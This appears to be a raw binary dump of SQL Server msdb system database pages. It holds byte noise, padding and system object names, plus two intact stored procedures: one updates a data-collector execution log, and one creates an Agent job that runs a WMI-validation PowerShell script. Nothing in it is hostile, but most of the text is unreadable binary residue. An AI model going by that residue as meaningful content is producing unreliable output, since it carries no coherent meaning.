!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!6n"bdtn

BZ

TH
T
$
		F	x6pnZ^6&:R~Fj`XZb\]M = 0:	phsp_syscollector_event_oncollectionstart0:	p4sp_update_job0:	`TZsyscollector_collection_setsdbo0:	p@sysdbmaintplan_jobs0:	@DJRsysdbmaintplan_jobsdbomsdb06@;	@,2:sysjobsdbomsdb06@;	@4:Bsysjobstepsdbomsdb0`;	pxsp_syspolicy_verify_policy_category_identifiers0`;	@hnvsyspolicy_policy_categories_internal dbomsdb0;	@NT\sysdbmaintplan_databasesdbomsdb0;	@DJRsysdbmaintplan_jobsdbomsdb0;	@<BJsysdbmaintplansdbomsdb0E;	@DJRsysmail_attachmentsdbomsdb0E;	@@FNsysmail_mailitemsdbomsdb0o4<	pDsp_post_msx_operation0o4<
	@BHPsp_sqlagent_notifydbomsdb0o4<	p`sp_update_replication_job_parameter0o4<	p>sp_verify_schedule0o4<	@Z`hsp_verify_schedule_identifiersdbomsdb0o4<		`@FSQLAGENT_SUSER_SIDdbo0o4<	@<BJsysjobschedulesdbomsdb0o4<	@8>Fsysjobserversdbomsdb0o4<	p2sysschedules0o4<	@6<Dsysschedulesdbomsdb0)=	pDsp_post_msx_operation0)=	@BHPsp_sqlagent_notifydbomsdb0)=	@Z`hsp_verify_schedule_identifiersdbomsdb0)=	p8sysjobschedules0)=	@<BJsysjobschedulesdbomsdb0)=	@8>Fsysjobserversdbomsdb0)=	p2sysschedules0?r>	@^dlfn_syscollector_get_package_pathdbomsdb0?r>	`bhsyscollector_execution_log_internaldbo0^?	pPsp_verify_proxy_permissions0^?	p@sp_verify_subsystem0^?	p(sysjobs0^?	@,2:sysjobsdbomsdb0^?	@8>Fsysjobserversdbomsdb0^?	@4:Bsysjobstepsdbomsdb0cf?	`6<sp_delete_jobdbo0cf?	`BHsp_delete_jobserverdbo0cf?	`@Fsp_detach_scheduledbo0S@	@HNVsp_post_msx_operationdbomsdb0S@	@BHPsp_sqlagent_notifydbomsdb0S@	pLsp_verify_job_identifiers0S@	pJsp_verify_jobproc_caller0S@	p<sp_verify_jobstep0S@		pPsp_verify_proxy_identifiers0S@	@,2:sysjobsdbomsdb0S@	@8>Fsysjobserversdbomsdb0S@	@4:Bsysjobstepsdbomsdb0@	`JPsp_add_jobstep_internaldbo0`;	`V\sp_syspolicy_check_membershipdbo0T<	@TZbsyspolicy_policy_categoriesdbomsdb0T<	@TZbsyspolicy_policies_internaldbomsdb0T<	@6<Dsysschedulesdbomsdb0T<	@X^fsyspolicy_conditions_internaldbomsdb0T<	@pv~sp_syspolicy_verify_condition_identifiersdbomsdb0T<	@HNVsyspolicy_object_setsdbomsdb0T<	@BHPsyspolicy_policiesdbomsdb0T<	`V\sp_syspolicy_check_membershipdbo09I=	@BHPsyspolicy_policiesdbomsdb09I=	`V\sp_syspolicy_check_membershipdbo0r5=>	pfsp_syspolicy_verify_policy_identifiers0r5=>	@TZbsyspolicy_policies_internaldbomsdb0r5=>	`V\sp_syspolicy_check_membershipdbo0Y1?	@rxsp_syspolicy_verify_object_set_identifiersdbomsdb0Y1?	pPsyspolicy_policy_categories0Y1?	@TZbsyspolicy_policy_categoriesdbomsdb0Y1?	@jpxsp_syspolicy_verify_policy_identifiersdbomsdb0Y1?	@TZbsyspolicy_policies_internaldbomsdb0Y1?	@6<Dsysschedulesdbomsdb0Y1?	@X^fsyspolicy_conditions_internaldbomsdb0Y1?	@pv~sp_syspolicy_verify_condition_identifiersdbomsdb0Y1?		@HNVsyspolicy_object_setsdbomsdb0Y1?
	p>syspolicy_policies0Y1?	@BHPsyspolicy_policiesdbomsdb0Y1?	`V\sp_syspolicy_check_membershipdbo0}%@	pfsp_syspolicy_verify_policy_identifiers0}%@	@TZbsyspolicy_policies_internaldbomsdb0}%@	`V\sp_syspolicy_check_membershipdbo0=	`^dfn_sysutility_get_is_instance_ucpdbo0=	`rxsp_sysutility_ucp_recreate_synonym_internaldbo0<	@LRZsysutility_ucp_policiesdbomsdb0<	@NT\sysutility_ucp_instancesdbomsdb0!=	@LRZsysutility_ucp_policiesdbomsdb0!=	@NT\sysutility_ucp_computersdbomsdb0WE>	@LRZsysutility_ucp_policiesdbomsdb0WE>	@V\dsysutility_ucp_deployed_dacsdbomsdb0i?	@^dlsysutility_ucp_computer_policiesdbomsdb0i?	@V\dsysutility_ucp_deployed_dacsdbomsdb0i?	@TZbsysutility_ucp_dac_policiesdbomsdb0ɍ@	@^dlsysutility_ucp_instance_policiesdbomsdb!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!hF&V

4
@pPR|\"R*

2
	vVR	N		djFvVZ~.JRd"V`TY4bn*^D#690LR	p>sysmail_servertype0VS	@Z`hsp_verify_schedule_identifiersdbomsdb0VS	@<BJsysjobschedulesdbomsdb0XR8S	`V\sp_syspolicy_check_membershipdbo0XR8S	`TZsyspolicy_fn_eventing_filterdbo0XR8S	`TZsyspolicy_fn_filter_completedbo0XR8S	@HNVsyspolicy_object_setsdbomsdb0XR8S	@BHPsyspolicy_policiesdbomsdb0XR8S	`FLsyspolicy_target_setsdbo0\mS	`ntsp_syscollector_delete_execution_log_treedbo0\mS	`RXsp_syscollector_delete_jobsdbo0\mS	`TZsyscollector_collection_setsdbo0\mS	`flsyscollector_collection_sets_internaldbo0\mS	`PVsyscollector_execution_logdbo0\mS	pTsysschedules_localserver_view0pS	p6sysmail_server0{T	@PV^sp_get_composite_job_infodbomsdb0{T	@Z`hsp_verify_schedule_identifiersdbomsdb0v,T	@Z`hsyspolicy_object_sets_internaldbomsdb0v,T	@BHPsyspolicy_policiesdbomsdb0aT	pvsp_syscollector_delete_collection_set_internal0aT	p`sp_syscollector_stop_collection_set0aT	`flsp_syscollector_verify_collection_setdbo0aT	`TZsyscollector_collection_setsdbo0T	pDsysmail_configuration09U	p4sp_delete_job09U	@X^fsp_sqlagent_has_server_accessdbomsdb09U	`@FSQLAGENT_SUSER_SIDdbo09U	@,2:sysjobsdbomsdb09U	@8>Fsysjobserversdbomsdb0UU	plsp_syscollector_delete_execution_log_tree0UU	pRsyscollector_collection_sets0UU	p`syscollector_execution_log_internal0UU	`bhsyscollector_execution_log_internaldbo0UU	`06sysssislogdbo0U	@28@backupfiledbomsdb0U	@<BJbackupfilegroupdbomsdb0U	@@FNbackupmediafamilydbomsdb0U	@:@Hbackupmediasetdbomsdb0U	@06>backupsetdbomsdb0U	@4:Brestorefiledbomsdb0U	@>DLrestorefilegroupdbomsdb0U	@:@Hrestorehistorydbomsdb0HU	p<sysmail_mailitems0rU	p:sp_add_jobserver0rU	p@sp_delete_jobserver0rU	pLsp_verify_job_identifiers0rU	@8>Fsysjobserversdbomsdb0v,T	`V\sp_syspolicy_check_membershipdbo0ʚ U	@Z`hsyspolicy_object_sets_internaldbomsdb0ʚ U	@BHPsyspolicy_policiesdbomsdb0ʚ U	`V\sp_syspolicy_check_membershipdbo!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!t(r*

^

~>@

~<

	V	"	B":xR`P`[2b
_J=30L	p4syssubsystems0E	``fsyscollector_config_store_internaldbo01z	`4:ConvertToIntdbo01z	@\bjsysmail_help_configure_value_spdbomsdb01z	@LRZsysmail_logmailevent_spdbomsdb0	@(.:xp_qvdbomaster0@9	`hnsp_syscollector_verify_collector_statedbo0@9	@bhpsyscollector_config_store_internaldbomsdb0y-	`hnsp_syscollector_verify_collector_statedbo0y-	@bhpsyscollector_config_store_internaldbomsdb0	`DJSQLAGENT_SUSER_SNAMEdbo0	@FLTsyscachedcredentialsdbomsdb0	@6<Dsysjobs_viewdbomsdb0	@6<Hxp_logininfodbomaster0
"	`hnsp_syscollector_verify_collector_statedbo0
"	@bhpsyscollector_config_store_internaldbomsdb00)	@06>sysalertsdbomsdb00)	p`sysalerts_performance_counters_view0$	`V\syspolicy_conditions_internaldbo0$	`RXsyspolicy_management_facetsdbo0.	`hnsp_syscollector_verify_collector_statedbo0.	@bhpsyscollector_config_store_internaldbomsdb0iM	@06>sysalertsdbomsdb0iM	@6<Dsysjobs_viewdbomsdb0iM	@4:Bsysjobstepsdbomsdb0iM	@6<Dsysschedulesdbomsdb0iM	@BHTxp_sqlagent_notifydbomaster0$S
		@bhpsyscollector_config_store_internaldbomsdb0q		@LR^xp_sqlagent_is_startingdbomaster03m		`V\sp_syspolicy_check_membershipdbo03m		@FLTsyspolicy_conditionsdbomsdb03m		@X^fsyspolicy_conditions_internaldbomsdb03m		`RXsyspolicy_management_facetsdbo0ە
	@LRZsp_is_sqlagent_startingdbomsdb0ە
	@6<Dsysjobs_viewdbomsdb0l
	`V\sp_syspolicy_check_membershipdbo0l
	@FLTsyspolicy_conditionsdbomsdb0	@<BJsysjobschedulesdbomsdb0	@RX`sysoriginatingservers_viewdbomsdb0	@6<Dsysschedulesdbomsdb0	@X^fsysschedules_localserver_viewdbomsdb0	`V\sp_syspolicy_check_membershipdbo0	@pv~sp_syspolicy_verify_condition_identifiersdbomsdb0	@X^fsyspolicy_conditions_internaldbomsdb0	`RXsyspolicy_management_facetsdbo0	`RXfn_sysdac_is_currentuser_sadbo0%	`RXfn_sysdac_is_currentuser_sadbo0>	`HNfn_sysdac_get_usernamedbo0QG	`ntsysutility_ucp_managed_instances_internaldbo0;	`ntsysutility_ucp_managed_instances_internaldbo!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!j:`

V

\f
P
		.	d&H48~P24`OX<2`Mm1-[B0J 8
CREATE PROCEDURE [dbo].[sp_syscollector_event_onpackageupdate]
    @log_id bigint
AS
BEGIN
    SET NOCOUNT ON

    -- Security check (role membership)
    IF (NOT (ISNULL(IS_MEMBER(N'dc_proxy'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        RAISERROR(14677, -1, -1, 'dc_proxy')
        RETURN(1) -- Failure
    END

    -- Check the log_id
    DECLARE @retVal INT
    EXEC @retVal = dbo.sp_syscollector_verify_event_log_id @log_id
    IF (@retVal <> 0)
        RETURN (@retVal)

    -- Update the log
    UPDATE dbo.syscollector_execution_log_internal SET
        last_iteration_time = GETDATE()
    WHERE log_id = @log_id

    RETURN (0)
END
0f&bK g8

CREATE PROCEDURE [dbo].[sp_sysutility_mi_create_job_validate_wmi]
AS
BEGIN

   DECLARE @job_name sysname = N'sysutility_mi_validate_wmi'
   DECLARE @job_id uniqueidentifier
   DECLARE @description nvarchar(512) = N''
   DECLARE @psScript NVARCHAR(MAX) = (SELECT [dbo].[fn_sysutility_mi_get_validate_wmi_script]());

   -- Delete the job if it already exists
   WHILE (EXISTS (SELECT * FROM msdb.dbo.sysjobs WHERE name = @job_name))
   BEGIN
      EXEC sp_delete_job @job_name=@job_name
   END

   -- Create the job
   EXEC  msdb.dbo.sp_add_job @job_name=@job_name, 
			@enabled=1,
			@notify_level_eventlog=0, 
			@notify_level_email=2, 
			@notify_level_netsend=2, 
			@notify_level_page=2, 
			@delete_level=0, 
			@category_id=0,
			@job_id = @job_id OUTPUT

   EXEC msdb.dbo.sp_add_jobserver @job_name=@job_name, @server_name = @@SERVERNAME

   -- Add the validation step
   EXEC msdb.dbo.sp_add_jobstep 
          @job_id=@job_id, 
          @step_name=N'Validate WMI configuration', 
          @step_id=1, 
          @cmdexec_success_code=0, 
          @on_fail_action=2, 
          @on_fail_step_id=0,
          @on_success_action=1, 
          @retry_attempts=0, 
          @retry_interval=0, 
          @os_run_priority=0, 
          @subsystem=N'Powershell',
          @command=@psScript

END
0<-K %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!